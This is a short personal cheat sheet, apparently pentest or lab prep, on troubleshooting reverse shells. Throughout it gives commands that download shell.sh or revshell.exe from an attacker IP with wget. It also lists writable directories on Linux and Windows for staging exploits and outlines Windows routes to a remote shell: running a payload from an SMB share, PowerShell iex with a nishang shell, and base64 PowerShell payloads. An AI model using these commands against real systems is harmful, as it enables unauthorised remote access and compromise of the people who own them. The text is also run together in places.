Troubleshooting Reverse Shell
If we need to fetch a shell.sh file from KALI using wget or curl try using IP directly like this ->
wget 192.168.45.234/shell.shinstead of
wget http://192.168.45.234/shell.shIt works sometimesTry uploading rev-shell or exploit in different locations such as -
/tmp
/dev/shm
C:\Users\Public
C:\Windows\Temp
C:\Temp
For Windows, reverse shell can be achieved in various ways -
a. Powershell bas64 reverse shell payload
b.
cmd /c \\\\<LOCAL-IP>\\smbshare\\revshell.exec.
Invoke-WebRequestcommandd.
powershell -c iex <nishang-shell>-----> Check notion for thise.
wget http://ip/revshell.exe -O C:\<target-location>\revshell.exef.
wget ip/revshell.exe -O C:\<target-location>\revshell.exe
Last updated